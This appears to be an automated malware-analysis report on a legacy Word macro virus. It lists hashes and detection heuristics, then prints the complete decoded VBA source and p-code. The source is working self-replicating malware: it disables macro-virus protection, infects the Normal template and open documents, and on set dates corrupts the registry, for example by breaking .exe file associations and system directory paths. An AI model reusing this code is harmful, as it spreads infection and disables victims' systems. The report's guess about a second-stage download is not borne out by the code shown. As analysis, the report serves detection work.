Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7d6c10a2cc3897e0…

MALICIOUS

Office (OLE)

29.0 KB Created: 1999-12-11 16:49:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ebd0824e56d61999808cd37f86d980ed SHA-1: adcaa2db768002d0facb33360bd0d7c283e1ee5f SHA-256: 7d6c10a2cc3897e01f7bce39195bfe2622f438d6612ca5315774b29793d14e39
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and active VBA macros, including AutoOpen and Auto_Close functions, indicating a macro-based attack. The script attempts to modify system settings and likely downloads a second-stage payload, as suggested by the ClamAV detection 'Doc.Trojan.Class-41'. The presence of AutoOpen and Auto_Close macros strongly suggests this document was intended to be delivered as a spearphishing attachment.

Heuristics 6

  • ClamAV: Doc.Trojan.Class-41 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-41
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    If OA34 = True Then II64.CodeModule.AddFromString ("Sub ToolsMacro()" & vbCr & "End Sub" & vbCr & "Sub ViewVBCode" & vbCr & "End Sub" & vbCr & "Sub ToolsCustomize" & vbCr & "End Sub" & vbCr & "Sub FileTemplates" & vbCr & "End Sub" & vbCr & "Sub AutoClose()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, VK54 - 1))
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    If OA34 = True Then II64.CodeModule.AddFromString ("Sub ToolsMacro()" & vbCr & "End Sub" & vbCr & "Sub ViewVBCode" & vbCr & "End Sub" & vbCr & "Sub ToolsCustomize" & vbCr & "End Sub" & vbCr & "Sub FileTemplates" & vbCr & "End Sub" & vbCr & "Sub AutoClose()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, VK54 - 1))
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10302 bytes
SHA-256: 9ec1b9eb086ac7c794631334b3029ce6e9893ad7c852f67f9824705b75109ee2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
Application.EnableCancelKey = 0
Application.ShowVisualBasicEditor = False
DL90 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
VK54 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Options.ConfirmConversions = 0
Options.SaveNormalPrompt = 0
Options.VirusProtection = 0
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
Set II64 = ActiveDocument.VBProject.VBComponents.Item(1)
LA40 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
Set II64 = NormalTemplate.VBProject.VBComponents.Item(1)
OA34 = True
End If
If OA34 <> True And LA40 <> True Then GoTo AC11
If OA34 = True Then II64.CodeModule.AddFromString ("Sub ToolsMacro()" & vbCr & "End Sub" & vbCr & "Sub ViewVBCode" & vbCr & "End Sub" & vbCr & "Sub ToolsCustomize" & vbCr & "End Sub" & vbCr & "Sub FileTemplates" & vbCr & "End Sub" & vbCr & "Sub AutoClose()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, VK54 - 1))
If LA40 = True Then II64.CodeModule.AddFromString ("Sub AutoOpen()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(10, DL90 - 1))
If Month(Now) = Month(Now) And Day(Now) >= 20 Then
On Error Resume Next
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Config\0001\Display\Settings", "Resolution") = "1024,768"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Enum\Root\Modem\0000", "Class") = "Monitor"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Modem\0000\Init", "1") = "XT<cr>"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Modem\0000\Init", "2") = "XTE0V1<cr>"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Modem\0000\Settings", "Prefix") = "XT"
End If
If Month(Now) = 12 And Day(Now) = 24 Then
MsgBox "Happy Birthday Dr. Swati Charry", vbSystemModal, "SCoRPIonS"
End If
If Month(Now) >= 11 And Day(Now) = 24 Then
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\.exe", "(Default)") = "txtfile"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup", "WinBootDir") = "C:\Dos"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "SystemRoot") = "C:\Dos"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup", "WinDir") = "C:\Dos"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup", "WinAdminDir") = "C:\Dos"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup", "BootDir") = "D:\"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\Winbootdir", "devdir") = "C:\Dos"
End If
AC11:
End Sub





' Processing file: /tmp/qstore_xapar16l
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4977 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ShowVisualBasicEditor 
' Line #4:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St DL90 
' Line #5:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St VK54 
' Line #6:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #7:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #8:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #9:
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Sub"
' 	Ne 
' 	IfBlock 
' Line #10:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set II64 
' Line #11:
' 	LitVarSpecial (True)
' 	St LA40 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Sub"
' 	Ne 
' 	IfBlock 
' Line #14:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set II64 
' Line #15:
' 	LitVarSpecial (True)
' 	St OA34 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	Ld OA34 
' 	LitVarSpecial (True)
' 	Ne 
' 	Ld LA40 
' 	LitVarSpecial (True)
' 	Ne 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo AC11 
' 	EndIf 
' Line #18:
' 	Ld OA34 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0010 "Sub ToolsMacro()"
' 	Ld vbCr 
' 	Concat 
' 	LitStr 0x0007 "End Sub"
' 	Concat 
' 	Ld vbCr 
' 	Concat 
' 	LitStr 0x000E "Sub ViewVBCode"
' 	Concat 
' 	Ld vbCr 
' 	Concat 
' 	LitStr 0x0007 "End Sub"
' 	Concat 
' 	Ld vbCr 
' 	Concat 
' 	LitStr 0x0012 "Sub ToolsCustomize"
' 	Concat 
' 	Ld vbCr 
' 	Concat 
' 	LitStr 0x0007 "End Sub"
' 	Concat 
' 	Ld vbCr 
' 	Concat 
' 	LitStr 0x0011 "Sub FileTemplates"
' 	Concat 
' 	Ld vbCr 
' 	Concat 
' 	LitStr 0x0007 "End Sub"
' 	Concat 
' 	Ld vbCr 
' 	Concat 
' 	LitStr 0x000F "Sub AutoClose()"
' 	Concat 
' 	Ld vbCr 
' 	Concat 
' 	LitDI2 0x0002 
' 	Ld VK54 
' 	LitDI2 0x0001 
' 	Sub 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Concat 
' 	Paren 
' 	Ld II64 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' 	EndIf 
' Line #19:
' 	Ld LA40 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000E "Sub AutoOpen()"
' 	Ld vbCr 
' 	Concat 
' 	LitDI2 0x000A 
' 	Ld DL90 
' 	LitDI2 0x0001 
' 	Sub 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Concat 
' 	Paren 
' 	Ld II64 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' 	EndIf 
' Line #20:
' 	Ld Now 
' 	ArgsLd Month 0x0001 
' 	Ld Now 
' 	ArgsLd Month 0x0001 
' 	Eq 
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0014 
' 	Ge 
' 	And 
' 	IfBlock 
' Line #21:
' 	OnError (Resume Next) 
' Line #22:
' 	LitStr 0x0008 "1024,768"
' 	LitStr 0x0000 ""
' 	LitStr 0x002F "HKEY_LOCAL_MACHINE\Config\0001\Display\Settings"
' 	LitStr 0x000A "Resolution"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #23:
' 	LitStr 0x0007 "Monitor"
' 	LitStr 0x0000 ""
' 	LitStr 0x0027 "HKEY_LOCAL_MACHINE\Enum\Root\Modem\0000"
' 	LitStr 0x0005 "Class"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #24:
' 	LitStr 0x0006 "XT<cr>"
' 	LitStr 0x0000 ""
' 	LitStr 0x004A "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Modem\0000\Init"
' 	LitStr 0x0001 "1"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #25:
' 	LitStr 0x000A "XTE0V1<cr>"
' 	LitStr 0x0000 ""
' 	LitStr 0x004A "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Modem\0000\Init"
' 	LitStr 0x0001 "2"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #26:
' 	LitStr 0x0002 "XT"
' 	LitStr 0x0000 ""
' 	LitStr 0x004E "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Modem\0000\Settings"
' 	LitStr 0x0006 "Prefix"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	Ld Now 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x000C 
' 	Eq 
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0018 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #29:
' 	LitStr 0x001F "Happy Birthday Dr. Swati Charry"
' 	Ld vbSystemModal 
' 	LitStr 0x0009 "SCoRPIonS"
' 	ArgsCall MsgBox 0x0003 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	Ld Now 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x000B 
' 	Ge 
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x0018 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #32:
' 	LitStr 0x0007 "txtfile"
' 	LitStr 0x0000 ""
' 	LitStr 0x0016 "HKEY_CLASSES_ROOT\.exe"
' 	LitStr 0x0009 "(Default)"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #33:
' 	LitStr 0x0006 "C:\Dos"
' 	LitStr 0x0000 ""
' 	LitStr 0x0042 "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup"
' 	LitStr 0x000A "WinBootDir"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #34:
' 	LitStr 0x0006 "C:\Dos"
' 	LitStr 0x0000 ""
' 	LitStr 0x003C "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"
' 	LitStr 0x000A "SystemRoot"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #35:
' 	LitStr 0x0006 "C:\Dos"
' 	LitStr 0x0000 ""
' 	LitStr 0x0042 "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup"
' 	LitStr 0x0006 "WinDir"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #36:
' 	LitStr 0x0006 "C:\Dos"
' 	LitStr 0x0000 ""
' 	LitStr 0x0042 "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup"
' 	LitStr 0x000B "WinAdminDir"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #37:
' 	LitStr 0x0003 "D:\"
' 	LitStr 0x0000 ""
' 	LitStr 0x0042 "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup"
' 	LitStr 0x0007 "BootDir"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #38:
' 	LitStr 0x0006 "C:\Dos"
' 	LitStr 0x0000 ""
' 	LitStr 0x004D "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\Winbootdir"
' 	LitStr 0x0006 "devdir"
' 	Ld System 
' 	ArgsMemSt PrivateProfileString 0x0003 
' Line #39:
' 	EndIfBlock 
' Line #40:
' 	Label AC11 
' Line #41:
' 	EndSub 
' Line #42:
' Line #43:
' Line #44:
' Line #45: